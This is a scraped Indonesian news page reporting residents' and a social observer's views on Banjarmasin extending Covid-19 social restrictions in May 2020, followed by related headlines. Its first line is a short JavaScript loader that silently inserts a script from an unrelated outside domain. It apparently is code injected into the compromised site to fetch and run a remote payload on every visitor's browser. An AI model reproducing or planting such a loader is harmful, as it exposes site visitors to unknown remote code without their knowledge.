(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Keputusan Pemko Banjarmasin memperpanjang masa Pembatasan Sosial Berskala Besar (PSBB) mendapat respons beragam warga Seribu Sungai. Salah satu yang menjadi harapan adalah lebih tegasnya petugas dan koordinasi lintas sektor sehingga PSBB lebih memberikan dampak!
Hal ini sebagaimana disampaikan Zulfaisal Putera, pengamat sosial dan budaya yang dimintai pendapat terkait perpanjangan masa PSBB. Ia mengatakan, warga kota sebenarnya sudah sangat respek ketika mulai diberlakukannya PSBB pertama. Mereka sudah menahan diri untuk tetap di rumah dan mengikuti aturan yang ditetapkan.
“Namun, ketika hari-hari selanjutnya PSBB ternyata tidak begitu tampak pelaksanaannya, kecuali pada saat jam malam, maka masyarakat kembali bertebaran. Saya tentu berharap, pada PSBB kedua ini ada perubahan sikap dari pelaksananya, yaitu Pemko Banjarmasin, TNI, dan Polri,” kata Zulfaisal, Kamis (7/5/2020) malam.
Ia menambahkan, harus ketegasan dalam bertindak dan keterukuran dalam pendekatan dengan melaksanakan sepenuhnya Perwali dan Permenkes. Ada yang diperbolehkan dan ada yang dilarang itu harus benar benar dijalankan. “Insha Allah, selalu ada harapan, pada PSBB kedua nanti akan ada perambatan menurun dari pasien Covid-19 di kota Banjarmasin. Kepada masyarakat, mari kita dukung dan penuhi segala keharusan sesuai aturan,” pungkas Zulfaisal.
Di sisi lain, Mila Diyanti warga Banjarmasin lainnya mendukung perpanjangan PSBB, dengan syarat totalitas pelaksanaan. PSBB bukan hanya sekedar formalitas saja, tetapi memang dilaksanakan secara benar sesuai dengan dasar dan pedoman yang berlaku.
“Sebagai contoh pemberlakuan jam malam di batas kota, hanya menutup akses masuk dan keluar saja. Tidak dilakukan pengecekan secara mendalam dan penutupan total. Masyarakat yang lewat di batas kota Km 6, hanya tidak boleh lewat saat jam malam dan diarahkan untuk melewati jalan alternatif, seperti jalan Beruntung Jaya. Berdasarkan hemat saya, esensi dari PSBB itu sendiri menjadi tidak efektif dan efisien,” kata Mila.
Kemudian, Mila juga mencontohkan di perbatasan Banjarmasin-Handil Bakti Kabupaten Barito Kuala, transportasi masyarakat disetop dan diarahkan untuk menunggu hingga jam malam selesai.
Hal ini mengakibatkan penumpukan. “Padahal, kebanyakan dari mereka mengangkut barang seperti sayur dan ikan, yang notabenenya memang beroperasi pada dini hari. Perlu ada kajian dan tindakan ulang berkaitan hal seperti ini,” ucapnya.
Kendati demikian, ia menaruh harapan besar dengan diperpanjangnya PSBB, bantuan sosial (bansos) yang didistribusikan kepada masyarakat dalam bentuk uang tunai ataupun non tunai saja. Tidak dalam bentuk uang dan barang, untuk meminimalisir adanya tindak kecurangan.
“Semoga dengan adanya perpanjangan PSBB ini, dapat menekan pertambahan kasus positif secara signifikan. Pemerintah beserta jajarannya lebih mudah untuk mendata, memetakan, serta memberikan tes kepada masyarakat yang diindikasikan terpapar.
Juga perlu adanya ketaatan masyarakat kepada pemerintah untuk tetap di rumah saja jika tidak mempunyai kepentingan mendesak, agar pemberhentian penularan lebih cepat dan dapat dikendalikan,” tukas Mila. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANDUNG - Direktur Utama PT PLN (Persero) Darmawan Prasodjo memastikan seluruh infrastruktur Stasiun Pengisian… Read More
KANALKALIMANTAN.COM, CILEGON - Wakil Menteri (Wamen) Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan sistem… Read More
KANALKALIMANTAN.COM, PARINGIN - Desa Balida, Kecamatan Paringin untuk kali ketiga mengelar gebyar desa. Acara bertajuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Destinasi wahana mandi busa pertama hadir di Kota Banjarbaru menjadi pilihan warga… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Momentum Natal dan Tahun Baru 2025, Kesatuan Aksi Mahasiswa Muslim Indonesia (KAMMI)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Srikandi PLN Unit Induk Penyaluran dan Pusat Pengatur Beban Kalimantan bersama dengan… Read More
This website uses cookies.